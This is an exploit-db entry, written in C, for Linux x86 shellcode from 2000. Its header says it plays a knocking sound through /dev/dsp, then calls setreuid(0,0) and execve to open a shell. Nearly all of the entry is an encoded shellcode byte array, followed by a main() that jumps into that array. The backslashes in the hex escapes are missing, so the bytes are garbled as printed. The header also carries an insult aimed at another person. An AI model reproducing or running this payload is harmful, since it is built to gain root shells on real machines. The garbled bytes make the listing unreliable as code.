https://www.exploit-db.com/exploits/43661

漏洞细节尚未披露

/*
  * Audio (knock knock knock) via /dev/dsp + setreuid(0,0) + execve shellcode. 
(Linux x86)
  * Author: Cody Tubbs (loophole of hhp).
  * www.hhp-programming.net / [email protected]
  * 12/20/2000.
  *
  * F.U. to ph1x(ry4n). -From me and dxmd...
  * [If I ripped this, show me the source... or better yet
  *  go barrow a shovel so you can dig up deeper shit.]
  */

unsigned char hhpcode[] =
"xebx03x5exebx05xe8xf8xffxffxffx83xc6x0fx31xc9x66"
"xb9x1cx02x80x36x03x46xe2xfaxeaxb8x03x03x03x2cx61"
"x6ax6dx2cx70x6bx03x7dx03x93x93x93x93x93x93x93x93"
"x93x93x93x93x93x93x93x93x93x7fx79x75x76x76x77x72"
"x6ex69x68x6dx70x76x76x72x6ex69x64x65x60x63x5ex58"
"x58x5ex5dx5dx5ex5cx61x64x6ex70x78xa5xafxb1xb5xbf"
"xbcxc0xc6xc6xc1xc2xbdxbexb9xbbxb6xacxaaxa0x6dx6f"
"x66x6ax69x64x55x26x33x4dx54x5dx43x38x35x46x40x63"
"x60x61x55x48x49x4dx5dx66x6ex6ax64x63x59x54x63x69"
"x6fx70x7ax7bx77x7bx79x75x71x6dx72x72x70x71x72x6d"
"x72x70x70x70x79x76x6cx6dx6fx6ex68x70x75x6ex65x65"
"x69x68x72x75x7dx7fx7ex7dx7fx79x78x78x7ex79x7ex7d"
"x7fx74x75x77x70x75x79x7fx78x7ax75x71x73x72x09x03"
"x2cx67x66x75x2cx67x70x73x03x82xefx64x28x03x03x8a"
"xf5x56x8axe6x80xefx1fx54x55x50xebx03x03x03x03x58"
"x82xc0xb9x12x03x03xc4x46xfbx03x03x03x03xc4x46xff"
"x03x03x03x03x8ex80x76xeexfcxfcx8ax46xfbx8exb8x7e"
"xeexfcxfcx8ex90x93xeexfcxfcx8ax56xebx8ex88x24xed"
"xfcxfcx8axcdxbbx06x03x03x03xbax02x03x03x03xb9x83"
"x02x03x03x50x8axf0xcex83x8ax46xf7xbbx2ax03x03x03"
"x88x76xf7x50x8axf0xcex83x8ax46xe7xbbx07x03x03x03"
"x88x76xe7x88x4exebxb9x95x03x03x03x50x8axf0xcex83"
"xbbx07x03x03x03x50x8axf0xcex83xc4x46xf3x03x03x03"
"x03xbbx07x03x03x03x88x76xe7x8axfaxb9x02x03x03x03"
"x50x8axf0xcex83xfcx46xf3x82x7exf3x54x01x03x03x7d"
"xe3xbbx07x03x03x03x88x4exebxb9x95x03x03x03x50x8a"
"xf0xcex83xbbx07x03x03x03x50x8axf0xcex83xc4x46xf3"
"x03x03x03x03x93xbbx07x03x03x03x88x76xe7x8axfaxb9"
"x02x03x03x03x50x8axf0xcex83xfcx46xf3x82x7exf3x54"
"x01x03x03x7dxe3xbbx07x03x03x03x88x4exebxb9x95x03"
"x03x03x50x8axf0xcex83xbbx07x03x03x03x50x8axf0xce"
"x83xbbx05x03x03x03x50x8axf0xcex83xbbx05x03x03x03"
"x88x76xf7x50x8axf0xcex83xbbx45x03x03x03x32xf5x32"
"xcax50x8axf0xcex83x8ex7exfbxbbx08x03x03x03x88x76"
"xfbx8axfax32xd1x50x8axf0xcex83x32xc3x8ex66xdbx58"
"x5dx5cxcaxc0x93x69";

typedef void (*F)(); 
main(){F a;a=(F)(&hhpcode);a();}